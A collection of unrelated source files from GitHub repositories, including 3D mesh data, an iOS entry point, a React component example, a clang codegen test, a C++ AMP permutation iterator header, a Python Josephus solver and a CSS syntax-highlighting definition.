v -1.327020 1.064050 0.004566
v -1.301296 2.040297 -0.200905
v -2.713997 1.988948 0.030192
v -2.996803 1.731998 -0.021061
v -1.378470 1.243978 -0.226597
v -1.301296 1.295429 -0.252289
v -1.327020 1.089931 0.287113
v -1.429753 1.603523 0.338497
v -2.713997 1.963068 -0.046753
v -1.404194 2.117423 0.055884
v -2.482807 1.552380 -0.175213
v -1.455478 1.911719 0.287113
v -1.352745 1.064050 0.030192
v -2.945188 1.731998 0.081576
f 137 126 147
f 107 108 110
f 107 110 111
f 110 108 116
f 111 112 117
f 111 110 119
f 110 116 124
f 113 121 124
f 117 112 125
f 119 110 127
f 126 114 127
f 118 108 129
f 116 108 130
f 108 118 130
f 113 118 131
f 121 113 131
f 118 129 131
f 129 123 131
f 122 114 132
f 112 111 133
f 132 112 133
f 120 132 133
f 106 119 134
f 114 122 134
f 119 127 134
f 107 111 135
f 111 117 135
f 128 107 135
f 115 128 135
f 115 109 136
f 128 115 136
f 123 129 136
f 109 131 136
f 131 123 136
f 114 126 137
f 112 132 137
f 132 114 137
f 106 134 138
f 134 122 138
f 119 106 139
f 111 119 139
f 133 111 139
f 120 133 139
f 106 138 139
f 138 120 139
f 110 124 140
f 124 121 140
f 121 126 140
f 127 110 140
f 126 127 140
f 124 116 141
f 113 124 141
f 109 115 142
f 125 112 142
f 117 125 142
f 135 117 142
f 115 135 142
f 137 109 142
f 112 137 142
f 108 107 143
f 107 128 143
f 129 108 143
f 128 136 143
f 136 129 143
f 132 120 144
f 122 132 144
f 120 138 144
f 138 122 144
f 118 113 145
f 116 130 145
f 130 118 145
f 141 116 145
f 113 141 145
f 127 114 146
f 114 134 146
f 134 127 146
f 126 121 147
f 131 109 147
f 121 131 147
f 109 137 147
o convex_3
v 1.242380 1.346715 0.364043
v -0.504621 1.038358 -0.894655
v -0.607196 1.038358 -0.868953
v -0.144864 2.811108 -0.020960
v -0.838486 1.038532 0.800802
v 0.831087 2.220076 -0.766145
v -1.095420 2.297122 -0.432018
v 0.805443 2.091666 0.697994
v 0.805443 1.038358 -0.791671
v -0.787199 2.065810 0.723872
v 0.702620 1.038358 0.852206
v -1.301067 1.038532 0.132900
v 1.242380 2.168538 -0.046662
v -0.915666 2.168712 -0.765969
v 0.754156 2.733715 0.030092
v -1.301067 2.040128 0.209830
v -0.812842 2.708033 0.030092
v -1.301067 1.269670 -0.252279
v 1.216488 1.038358 0.055794
v 1.242380 1.834846 -0.380789
v -0.016646 2.065984 0.800978
v -0.890022 1.038532 -0.765969
v -0.093577 1.064388 0.903787
v -1.301067 1.886210 -0.329209
v 1.242380 2.014620 0.286937
v 0.445935 1.141433 -0.894479
v -1.301067 1.655246 0.338341
v 1.011090 2.348485 -0.483422
v 1.088021 1.038358 0.569659
v -0.119220 2.811108 0.030092
v 1.242380 1.346715 -0.252103
v -1.301067 1.064214 0.286937
v 0.805443 2.143030 -0.791671
v -1.301067 2.117348 -0.020960
v 0.728263 2.708033 -0.072364
v 0.702620 2.091666 0.723696
v -0.812842 2.682351 -0.072188
v 0.779800 1.218306 0.826504
v 0.086177 2.811108 0.030092
v 0.111821 2.759397 -0.098067
v -0.787199 1.115578 0.826504
v -0.812842 2.014446 -0.791671
v 1.242380 1.038358 0.286937
v 1.216488 1.449617 0.415447
v -0.890022 1.218479 -0.791671
v -1.198243 1.038532 -0.277981
v 1.242380 2.091492 -0.303683
v 0.702620 1.038358 -0.843075
v -0.812842 2.040128 0.723872
v 1.088021 1.038358 -0.303683
v 0.034641 1.115752 0.903787
v 0.779800 1.911892 0.749398
v -0.042041 2.425705 0.441325
v -1.121064 1.038532 0.518079
v 0.959554 2.065984 0.569659
v -1.301067 1.963083 0.286937
v -0.812842 2.451213 0.312639
v 1.036734 2.425531 0.004566
v -0.658732 2.374341 -0.534826
v 0.728263 2.245584 -0.740266
v -0.915666 2.605479 0.030092
v -1.301067 1.706610 -0.329209
v 0.805443 1.090070 0.826504
v -1.301067 2.065810 -0.226401
f 171 181 211
f 150 149 156
f 150 156 158
f 149 150 161
f 159 163 165
f 158 156 166
f 160 148 167
f 152 158 170
f 168 157 170
f 154 161 171
f 165 163 171
f 148 160 172
f 163 159 174
f 158 166 176
f 151 164 177
f 156 167 178
f 167 148 178
f 174 159 179
f 161 153 180
f 153 167 180
f 167 156 180
f 171 163 181
f 175 153 182
f 162 175 182
f 155 162 183
f 161 154 184
f 164 151 184
f 151 177 186
f 162 182 186
f 183 162 186
f 182 153 187
f 151 186 187
f 186 182 187
f 152 170 188
f 170 157 188
f 149 161 189
f 173 149 189
f 161 180 189
f 180 173 189
f 148 176 190
f 176 166 190
f 178 148 190
f 166 178 190
f 148 172 191
f 176 148 191
f 161 150 192
f 150 169 192
f 150 159 193
f 159 165 193
f 169 150 193
f 165 169 193
f 167 153 194
f 160 167 194
f 153 175 194
f 175 160 194
f 156 149 195
f 149 173 195
f 180 156 195
f 173 180 195
f 174 152 196
f 152 188 196
f 188 157 196
f 166 156 197
f 178 166 197
f 156 178 197
f 170 158 198
f 168 170 198
f 158 185 198
f 198 185 199
f 155 183 199
f 183 168 199
f 168 198 199
f 157 168 200
f 177 157 200
f 168 183 200
f 186 177 200
f 183 186 200
f 150 158 201
f 158 152 201
f 159 150 201
f 152 174 201
f 179 159 201
f 174 179 201
f 162 155 202
f 172 162 202
f 191 172 202
f 155 199 202
f 199 191 202
f 163 174 203
f 174 196 203
f 203 196 204
f 177 164 204
f 157 177 204
f 196 157 204
f 163 203 204
f 172 160 205
f 162 172 205
f 175 162 205
f 160 175 205
f 184 151 206
f 161 184 206
f 151 187 206
f 206 187 207
f 153 161 207
f 187 153 207
f 161 206 207
f 154 181 208
f 181 163 208
f 184 154 208
f 164 184 208
f 163 204 208
f 204 164 208
f 169 165 209
f 171 161 209
f 165 171 209
f 161 192 209
f 192 169 209
f 158 176 210
f 185 158 210
f 176 191 210
f 199 185 210
f 191 199 210
f 154 171 211
f 181 154 211
| {
"pile_set_name": "Github"
} |
//
// main.m
// SpriteAnimationDemo
//
// Created by Rafal Sroka on 11-11-17.
// Copyright (c) 2011 __MyCompanyName__. All rights reserved.
//
//
// This code is distributed under the terms and conditions of the MIT license.
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#import <UIKit/UIKit.h>
#import "AppDelegate.h"
int main(int argc, char *argv[])
{
@autoreleasepool {
return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
}
}
| {
"pile_set_name": "Github"
} |
function formatDate(date) {
return date.toLocaleDateString();
}
function Comment(props) {
return (
<div className="Comment">
<div className="UserInfo">
<img
className="Avatar"
src={props.author.avatarUrl}
alt={props.author.name}
/>
<div className="UserInfo-name">
{props.author.name}
</div>
</div>
<div className="Comment-text">{props.text}</div>
<div className="Comment-date">
{formatDate(props.date)}
</div>
</div>
);
}
const comment = {
date: new Date(),
text: 'I hope you enjoy learning React!',
author: {
name: 'Hello Kitty',
avatarUrl: 'https://placekitten.com/g/64/64',
},
};
ReactDOM.render(
<Comment
date={comment.date}
text={comment.text}
author={comment.author}
/>,
document.getElementById('root')
);
| {
"pile_set_name": "Github"
} |
<!-- This Source Code Form is subject to the terms of the Mozilla Public
- License, v. 2.0. If a copy of the MPL was not distributed with this
- file, You can obtain one at http://mozilla.org/MPL/2.0/. -->
<html>
<body>
Provides default implementations for module providers.
</body>
</html>
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -triple x86_64-unknown-unknown -emit-llvm %s -o - | FileCheck %s
// Validate that volatile _Complex loads and stores are generated
// properly, including their alignment (even when overaligned).
//
// This test assumes that floats are 32-bit aligned and doubles are
// 64-bit aligned, and uses x86-64 as a target that should have this
// property.
volatile _Complex float cf;
volatile _Complex double cd;
volatile _Complex float cf32 __attribute__((aligned(32)));
volatile _Complex double cd32 __attribute__((aligned(32)));
// CHECK-LABEL: define void @test_cf()
void test_cf() {
// CHECK: load volatile float, float* getelementptr inbounds ({ float, float }, { float, float }* @cf, i32 0, i32 0), align 4
// CHECK-NEXT: load volatile float, float* getelementptr inbounds ({ float, float }, { float, float }* @cf, i32 0, i32 1), align 4
(void)(cf);
// CHECK-NEXT: [[R:%.*]] = load volatile float, float* getelementptr inbounds ({ float, float }, { float, float }* @cf, i32 0, i32 0), align 4
// CHECK-NEXT: [[I:%.*]] = load volatile float, float* getelementptr inbounds ({ float, float }, { float, float }* @cf, i32 0, i32 1), align 4
// CHECK-NEXT: store volatile float [[R]], float* getelementptr inbounds ({ float, float }, { float, float }* @cf, i32 0, i32 0), align 4
// CHECK-NEXT: store volatile float [[I]], float* getelementptr inbounds ({ float, float }, { float, float }* @cf, i32 0, i32 1), align 4
(void)(cf=cf);
// CHECK-NEXT: ret void
}
// CHECK-LABEL: define void @test_cd()
void test_cd() {
// CHECK: load volatile double, double* getelementptr inbounds ({ double, double }, { double, double }* @cd, i32 0, i32 0), align 8
// CHECK-NEXT: load volatile double, double* getelementptr inbounds ({ double, double }, { double, double }* @cd, i32 0, i32 1), align 8
(void)(cd);
// CHECK-NEXT: [[R:%.*]] = load volatile double, double* getelementptr inbounds ({ double, double }, { double, double }* @cd, i32 0, i32 0), align 8
// CHECK-NEXT: [[I:%.*]] = load volatile double, double* getelementptr inbounds ({ double, double }, { double, double }* @cd, i32 0, i32 1), align 8
// CHECK-NEXT: store volatile double [[R]], double* getelementptr inbounds ({ double, double }, { double, double }* @cd, i32 0, i32 0), align 8
// CHECK-NEXT: store volatile double [[I]], double* getelementptr inbounds ({ double, double }, { double, double }* @cd, i32 0, i32 1), align 8
(void)(cd=cd);
// CHECK-NEXT: ret void
}
// CHECK-LABEL: define void @test_cf32()
void test_cf32() {
// CHECK: load volatile float, float* getelementptr inbounds ({ float, float }, { float, float }* @cf32, i32 0, i32 0), align 32
// CHECK-NEXT: load volatile float, float* getelementptr inbounds ({ float, float }, { float, float }* @cf32, i32 0, i32 1), align 4
(void)(cf32);
// CHECK-NEXT: [[R:%.*]] = load volatile float, float* getelementptr inbounds ({ float, float }, { float, float }* @cf32, i32 0, i32 0), align 32
// CHECK-NEXT: [[I:%.*]] = load volatile float, float* getelementptr inbounds ({ float, float }, { float, float }* @cf32, i32 0, i32 1), align 4
// CHECK-NEXT: store volatile float [[R]], float* getelementptr inbounds ({ float, float }, { float, float }* @cf32, i32 0, i32 0), align 32
// CHECK-NEXT: store volatile float [[I]], float* getelementptr inbounds ({ float, float }, { float, float }* @cf32, i32 0, i32 1), align 4
(void)(cf32=cf32);
// CHECK-NEXT: ret void
}
// CHECK-LABEL: define void @test_cd32()
void test_cd32() {
// CHECK: load volatile double, double* getelementptr inbounds ({ double, double }, { double, double }* @cd32, i32 0, i32 0), align 32
// CHECK-NEXT: load volatile double, double* getelementptr inbounds ({ double, double }, { double, double }* @cd32, i32 0, i32 1), align 8
(void)(cd32);
// CHECK-NEXT: [[R:%.*]] = load volatile double, double* getelementptr inbounds ({ double, double }, { double, double }* @cd32, i32 0, i32 0), align 32
// CHECK-NEXT: [[I:%.*]] = load volatile double, double* getelementptr inbounds ({ double, double }, { double, double }* @cd32, i32 0, i32 1), align 8
// CHECK-NEXT: store volatile double [[R]], double* getelementptr inbounds ({ double, double }, { double, double }* @cd32, i32 0, i32 0), align 32
// CHECK-NEXT: store volatile double [[I]], double* getelementptr inbounds ({ double, double }, { double, double }* @cd32, i32 0, i32 1), align 8
(void)(cd32=cd32);
// CHECK-NEXT: ret void
}
| {
"pile_set_name": "Github"
} |
// +build go1.7
package management_test
// Copyright 2017 Microsoft Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import (
"fmt"
"testing"
"github.com/Azure/azure-sdk-for-go/management"
)
// TestIsResourceNotFoundError tests IsResourceNotFoundError with the
// set of given test cases.
func TestIsResourceNotFoundError(t *testing.T) {
// isResourceNotFoundTestCases is a set of structs comprising of the error
// IsResourceNotFoundError should test and the expected result.
var isResourceNotFoundTestCases = []struct {
err error
expected bool
}{
{nil, false},
{fmt.Errorf("Some other random error."), false},
{management.AzureError{Code: "ResourceNotFound"}, true},
{management.AzureError{Code: "NotAResourceNotFound"}, false},
}
for i, testCase := range isResourceNotFoundTestCases {
if res := management.IsResourceNotFoundError(testCase.err); res != testCase.expected {
t.Fatalf("Test %d: error %s - expected %t - got %t", i+1, testCase.err, testCase.expected, res)
}
}
}
| {
"pile_set_name": "Github"
} |
/***************************************************************************
* © 2012,2014 Advanced Micro Devices, Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
***************************************************************************/
#pragma once
#if !defined( BOLT_AMP_PERMUTATION_ITERATOR_H )
#define BOLT_AMP_PERMUTATION_ITERATOR_H
#include "bolt/amp/bolt.h"
#include "bolt/amp/iterator/iterator_traits.h"
#include "bolt/amp/iterator/counting_iterator.h"
/*! \file bolt/amp/iterator/permutation_iterator.h
\brief
*/
namespace bolt {
namespace amp {
struct permutation_iterator_tag
: public fancy_iterator_tag
{ // identifying tag for random-access iterators
};
/*! \addtogroup fancy_iterators
*/
/*! \addtogroup AMP-PermutationIterator
* \ingroup fancy_iterators
* \{
*/
/*! permutation_iterator permutes values in a range according to keys.
*
*
*
* \details The following example demonstrates how to use a \p permutation_iterator.
*
* \code
* #include <bolt/amp/permutation_iterator.h>
* #include <bolt/amp/transform.h>
*
* ...
*
* // Create device_vectors
* bolt::amp::device_vector< int > values( 5 );
* bolt::amp::device_vector< int > vecEmpty( 5, 0 );
* bolt::amp::device_vector< int > vecDest( 5, 0 );
* bolt::amp::device_vector< int > index( 5 );
*
* // Fill values
* values[ 0 ] = 10 ; values[ 1 ] = 15 ; values[ 2 ] = 20 ;
* values[ 3 ] = 25 ; values[ 4 ] = 30 ;
*
* // Fill permutation indices
* index[ 0 ] = 3 ; index[ 1 ] = 2 ; index[ 2 ] = 4 ;
* index[ 3 ] = 0 ; index[ 4 ] = 1 ;
*
* bolt::amp::control ctrl = control::getDefault( );
* ...
* bolt::amp::transform( ctrl,
* bolt::amp::make_permutation_iterator( values.begin( ), index.begin( ) ),
* bolt::amp::make_permutation_iterator( values.end( ), index.end( ) ),
* vecEmpty.begin( ),
* vecDest.begin( ),
* bolt::amp::plus< int >( ) );
*
* // Output:
* // vecDest = { 25, 20, 30, 10, 15 }
*
* \endcode
*
*/
template< typename element_type, typename key_type >
class permutation_iterator: public std::iterator< permutation_iterator_tag, typename element_type, int>
{
public:
typedef typename std::iterator< permutation_iterator_tag, typename element_type, int>::difference_type
difference_type;
typedef permutation_iterator<element_type,key_type> perm_iterator;
typedef typename iterator_traits<element_type>::value_type value_type;
typedef typename iterator_traits<key_type>::value_type index_type;
typedef concurrency::array_view< value_type > arrayview_type;
// Default constructor
permutation_iterator():key_iterator(), element_iterator(), m_Index(0) { }
// Basic constructor requires a reference to the container and a positional element
permutation_iterator( element_type ivalue, key_type ikey, const control& ctl = control::getDefault( ) ):
element_iterator ( ivalue ), key_iterator ( ikey ), m_Index( ikey.getIndex( ) ) { }
// This copy constructor allows an iterator to convert into a perm_iterator, but not vica versa
template< typename OtherValType, typename OtherKeyType >
permutation_iterator( const permutation_iterator< OtherValType, OtherKeyType >& rhs ):m_Index( rhs.m_Index ){}
// This copy constructor allows an iterator to convert into a perm_iterator, but not vica versa
permutation_iterator< element_type, key_type >& operator= ( const permutation_iterator< element_type, key_type >& rhs )
{
if( this == &rhs )
return *this;
key_iterator = rhs.key_iterator;
element_iterator = rhs.element_iterator;
m_Index = rhs.m_Index;
return *this;
}
permutation_iterator< element_type, key_type >& operator+= ( const difference_type & n ) const restrict (cpu,amp)
{
advance( n );
return *this;
}
const permutation_iterator< element_type, key_type > operator+ ( const difference_type & n ) const restrict (cpu,amp)
{
permutation_iterator< element_type, key_type > result( *this );
result.advance( n );
return result;
}
const permutation_iterator< element_type, key_type > operator- ( const difference_type & n ) const restrict (cpu,amp)
{
permutation_iterator< element_type, key_type > result( *this );
result.advance( -n );
return result;
}
const concurrency::array_view<int> & getBuffer( perm_iterator itr ) const
{
return *value;
}
const permutation_iterator< element_type, key_type > & getContainer( ) const
{
return *this;
}
difference_type operator- ( const permutation_iterator< element_type, key_type >& rhs ) const
{
return element_iterator.getIndex() - rhs.element_iterator.getIndex();
}
// Public member variables
difference_type m_Index;
// Used for templatized copy constructor and the templatized equal operator
template < typename, typename > friend class permutation_iterator;
void advance( difference_type n ) restrict ( cpu, amp )
{
m_Index += n;
}
// Pre-increment
permutation_iterator< element_type, key_type > operator++ ( )
{
advance( 1 );
permutation_iterator< element_type, key_type > result( *this );
return result;
}
// Post-increment
permutation_iterator< element_type, key_type > operator++ ( int )
{
permutation_iterator< element_type, key_type > result( *this );
result.advance( 1 );
return result;
}
// Pre-decrement
permutation_iterator< element_type, key_type > operator--( ) const
{
permutation_iterator< element_type, key_type > result( *this );
result.advance( -1 );
return result;
}
// Post-decrement
permutation_iterator< element_type, key_type > operator--( int ) const
{
permutation_iterator< element_type, key_type > result( *this );
result.advance( -1 );
return result;
}
difference_type getIndex() const
{
return m_Index;
}
template< typename OtherValue, typename OtherKey >
bool operator== ( const permutation_iterator< OtherValue, OtherKey >& rhs ) const
{
bool sameIter = ( rhs.m_Index == m_Index );
return sameIter;
}
template< typename OtherValue, typename OtherKey >
bool operator!= ( const permutation_iterator< OtherValue, OtherKey >& rhs ) const
{
bool sameIter = ( rhs.m_Index != m_Index );
return sameIter;
}
template< typename OtherValue, typename OtherKey >
bool operator< ( const permutation_iterator< OtherValue, OtherKey >& rhs ) const
{
bool sameIndex = (m_Index < rhs.m_Index);
return sameIndex;
}
// Dereference operators
value_type& operator*() const restrict(cpu,amp)
{
index_type temp_index = key_iterator[m_Index];
return element_iterator[temp_index];
}
value_type& operator[](int x) restrict(cpu,amp)
{
index_type temp_index = key_iterator[x];
return element_iterator[temp_index];
}
value_type& operator[](int x) const restrict(cpu,amp)
{
index_type temp_index = key_iterator[x];
return element_iterator[temp_index];
}
key_type key_iterator;
element_type element_iterator;
};
template< typename valueType, typename keyType >
permutation_iterator< valueType, keyType > make_permutation_iterator( valueType value, keyType key )
{
permutation_iterator< valueType, keyType > tmp( value, key );
return tmp;
}
}
}
#endif
| {
"pile_set_name": "Github"
} |
# Problem: N soldiers are standing in a circle and
# first person has sword and he kills the 2nd person
# and gives the sword to the third person and so on
# till 99th person kills the 100th person gives the
# sword back to the first person, this goes on till
# only one person survives. Print the survivor.
def josephus(people, step=2):
if step <= 1:
print("Enter step value, greater than 1")
else:
step -= 1 # translated to zero-based indexing
kill = step # kill will hold the index of current person to die
while len(people) > 1:
print(people.pop(kill)) # pop method removes the element from the list
kill = (kill + step) % len(people)
print(people[0], "is safe")
num = int(input("Enter the number of soldiers: "))
soldiers = [i for i in range(1, num + 1)] # generates a list of 1..num
josephus(soldiers)
| {
"pile_set_name": "Github"
} |
include c:\cxpl\codes; \intrinsic 'code' declarations
func real Power(X, Y); \X raised to the Y power; (X > 0.0)
real X; int Y;
return Exp(float(Y) * Ln(X));
func IPower(X, Y); \X raised to the Y power
int X, Y;
int P;
[P:= 1;
while Y do
[if Y&1 then P:= P*X;
X:= X*X;
Y:= Y>>1;
];
return P;
];
int X, Y;
[Format(9, 0);
for X:= 1 to 10 do
[for Y:= 0 to 7 do
RlOut(0, Power(float(X), Y));
CrLf(0);
];
CrLf(0);
for X:= 1 to 10 do
[for Y:= 0 to 7 do
[ChOut(0, 9); IntOut(0, IPower(X, Y))];
CrLf(0);
];
]
| {
"pile_set_name": "Github"
} |
import types from './types/index.js';
import BlockStatement from './BlockStatement.js';
import Node from './Node.js';
import keys from './keys.js';
export default function wrap ( raw, parent ) {
if ( !raw ) return;
if ( 'length' in raw ) {
let i = raw.length;
while ( i-- ) wrap( raw[i], parent );
return;
}
// with e.g. shorthand properties, key and value are
// the same node. We don't want to wrap an object twice
if ( raw.__wrapped ) return;
raw.__wrapped = true;
if ( !keys[ raw.type ] ) {
keys[ raw.type ] = Object.keys( raw ).filter( key => typeof raw[ key ] === 'object' );
}
raw.skip = true;
raw.parent = parent;
raw.program = parent.program || parent;
raw.depth = parent.depth + 1;
raw.keys = keys[ raw.type ];
raw.indentation = undefined;
for ( const key of keys[ raw.type ] ) {
wrap( raw[ key ], raw );
}
raw.program.magicString.addSourcemapLocation( raw.start );
raw.program.magicString.addSourcemapLocation( raw.end );
const type = ( raw.type === 'BlockStatement' ? BlockStatement : types[ raw.type ] ) || Node;
raw.__proto__ = type.prototype;
}
| {
"pile_set_name": "Github"
} |
<html>
<head>
<title>DarkBASIC Professional Help File</title>
</head>
<body background="..\..\gfx\dbpro_bg.jpg">
<!-- Page Header -->
<center><table width="340" border="0" cellpadding="0" cellspacing="0">
<tr>
<td><img src="..\..\gfx\dbph_head_1.jpg" width="102" height="51"></td>
<td><a href="..\..\main.htm"><img src="..\..\gfx\dbph_head_2.jpg" width="47" height="51" border="0"></a></td>
<td><a href="..\..\commands.htm"><img src="..\..\gfx\dbph_head_3.jpg" width="50" height="51" border="0"></a></td>
<td><a href="..\..\examples.htm"><img src="..\..\gfx\dbph_head_4.jpg" width="47" height="51" border="0"></a></td>
<td><a href="..\..\documents.htm"><img src="..\..\gfx\dbph_head_5.jpg" width="46" height="51" border="0"></a></td>
<td><a href="..\..\index.htm"><img src="..\..\gfx\dbph_head_6.jpg" width="56" height="51" border="0"></a></td>
</tr>
</table></center>
<font face="Verdana">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr><td>
<!-- Function Head -->
<font face="Verdana" size="5">
<b>
PHY SET RIGID BODY KINEMATIC
</b>
<font face="Verdana" size="2">
<p>
Enable kinematic motion for a rigid body.
</p>
</font>
<!-- Synopsis -->
<table width="590" cellpadding="3">
<tr><td bgcolor="#0d4283"><font color="#ffffff" size="3"><b>
Syntax
</b></font></td></tr>
</table>
<font face="Verdana" size="2">
<pre>
PHY SET RIGID BODY KINEMATIC ID, state
</pre>
</font>
<!-- Parameters -->
<table width="590" cellpadding="3">
<tr><td bgcolor="#0d4283"><font color="#ffffff" size="3"><b>
Parameters
</b></font></td></tr>
</table>
<font face="Verdana" size="2">
<pre>
ID
</pre>
<blockquote>
Integer
<br>
ID number of the rigid body
</blockquote>
<pre>
state
</pre>
<blockquote>
Integer
<br>
a value of 1 will enable kinematic mode while a value of 0 will disable it
</blockquote>
</font>
<BR>
<!-- Returns -->
<table width="590" cellpadding="3">
<tr><td bgcolor="#0d4283"><font color="#ffffff" size="3"><b>
Returns
</b></font></td></tr>
</table>
<font face="Verdana" size="2">
<p>
</p>
</font>
<!-- Description -->
<table width="590" cellpadding="3">
<tr><td bgcolor="#0d4283"><font color="#ffffff" size="3"><b>
Description
</b></font></td></tr>
</table>
<font face="Verdana" size="2">
<p>
Enabling the kinematic state of an object is particularly useful when you require more control over its movement for example, moving platforms.
</p>
</font>
<!-- Examples -->
<table width="590" cellpadding="3">
<tr><td bgcolor="#0d4283"><font color="#ffffff" size="3"><b>
Example Code
</b></font></td></tr>
</table>
<font face="Verdana" size="2">
<pre>
<blockquote>
No example code is provided for this command
</blockquote>
</pre>
</font>
<!-- Function Footer -->
</font>
</td></tr></table>
<br>
<!-- Page Footer -->
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="center"><img src="..\..\gfx\dbph_foot_1.jpg" width="340" height="38"></td>
</tr>
</table>
</body>
</html>
| {
"pile_set_name": "Github"
} |
// Copyright 2019 The Dawn Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// NullBackend.cpp: contains the definition of symbols exported by NullBackend.h so that they
// can be compiled twice: once export (shared library), once not exported (static library)
#include "dawn_native/NullBackend.h"
#include "common/SwapChainUtils.h"
#include "dawn_native/null/DeviceNull.h"
namespace dawn_native { namespace null {
DawnSwapChainImplementation CreateNativeSwapChainImpl() {
DawnSwapChainImplementation impl;
impl = CreateSwapChainImplementation(new NativeSwapChainImpl());
impl.textureUsage = WGPUTextureUsage_Present;
return impl;
}
}} // namespace dawn_native::null
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!--
Syntax highlighting definition for CSS files
xslthl - XSLT Syntax Highlighting
http://sourceforge.net/projects/xslthl/
Copyright (C) 2011-2012 Martin Hujer, Michiel Hendriks
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Martin Hujer <mhujer at users.sourceforge.net>
Michiel Hendriks <elmuerte at users.sourceforge.net>
Reference: http://www.w3.org/TR/CSS21/propidx.html
-->
<highlighters>
<highlighter type="multiline-comment">
<start>/*</start>
<end>*/</end>
</highlighter>
<highlighter type="string">
<string>"</string>
<escape>\</escape>
<spanNewLines/>
</highlighter>
<highlighter type="string">
<string>'</string>
<escape>\</escape>
<spanNewLines/>
</highlighter>
<highlighter type="number">
<point>.</point>
<pointStarts />
</highlighter>
<highlighter type="word">
<word>@charset</word>
<word>@import</word>
<word>@media</word>
<word>@page</word>
<style>directive</style>
</highlighter>
<highlighter type="keywords">
<partChars>-</partChars>
<keyword>azimuth</keyword>
<keyword>background-attachment</keyword>
<keyword>background-color</keyword>
<keyword>background-image</keyword>
<keyword>background-position</keyword>
<keyword>background-repeat</keyword>
<keyword>background</keyword>
<keyword>border-collapse</keyword>
<keyword>border-color</keyword>
<keyword>border-spacing</keyword>
<keyword>border-style</keyword>
<keyword>border-top</keyword>
<keyword>border-right</keyword>
<keyword>border-bottom</keyword>
<keyword>border-left</keyword>
<keyword>border-top-color</keyword>
<keyword>border-right-color</keyword>
<keyword>border-bottom-color</keyword>
<keyword>border-left-color</keyword>
<keyword>border-top-style</keyword>
<keyword>border-right-style</keyword>
<keyword>border-bottom-style</keyword>
<keyword>border-left-style</keyword>
<keyword>border-top-width</keyword>
<keyword>border-right-width</keyword>
<keyword>border-bottom-width</keyword>
<keyword>border-left-width</keyword>
<keyword>border-width</keyword>
<keyword>border</keyword>
<keyword>bottom</keyword>
<keyword>caption-side</keyword>
<keyword>clear</keyword>
<keyword>clip</keyword>
<keyword>color</keyword>
<keyword>content</keyword>
<keyword>counter-increment</keyword>
<keyword>counter-reset</keyword>
<keyword>cue-after</keyword>
<keyword>cue-before</keyword>
<keyword>cue</keyword>
<keyword>cursor</keyword>
<keyword>direction</keyword>
<keyword>display</keyword>
<keyword>elevation</keyword>
<keyword>empty-cells</keyword>
<keyword>float</keyword>
<keyword>font-family</keyword>
<keyword>font-size</keyword>
<keyword>font-style</keyword>
<keyword>font-variant</keyword>
<keyword>font-weight</keyword>
<keyword>font</keyword>
<keyword>height</keyword>
<keyword>left</keyword>
<keyword>letter-spacing</keyword>
<keyword>line-height</keyword>
<keyword>list-style-image</keyword>
<keyword>list-style-position</keyword>
<keyword>list-style-type</keyword>
<keyword>list-style</keyword>
<keyword>margin-right</keyword>
<keyword>margin-left</keyword>
<keyword>margin-top</keyword>
<keyword>margin-bottom</keyword>
<keyword>margin</keyword>
<keyword>max-height</keyword>
<keyword>max-width</keyword>
<keyword>min-height</keyword>
<keyword>min-width</keyword>
<keyword>orphans</keyword>
<keyword>outline-color</keyword>
<keyword>outline-style</keyword>
<keyword>outline-width</keyword>
<keyword>outline</keyword>
<keyword>overflow</keyword>
<keyword>padding-top</keyword>
<keyword>padding-right</keyword>
<keyword>padding-bottom</keyword>
<keyword>padding-left</keyword>
<keyword>padding</keyword>
<keyword>page-break-after</keyword>
<keyword>page-break-before</keyword>
<keyword>page-break-inside</keyword>
<keyword>pause-after</keyword>
<keyword>pause-before</keyword>
<keyword>pause</keyword>
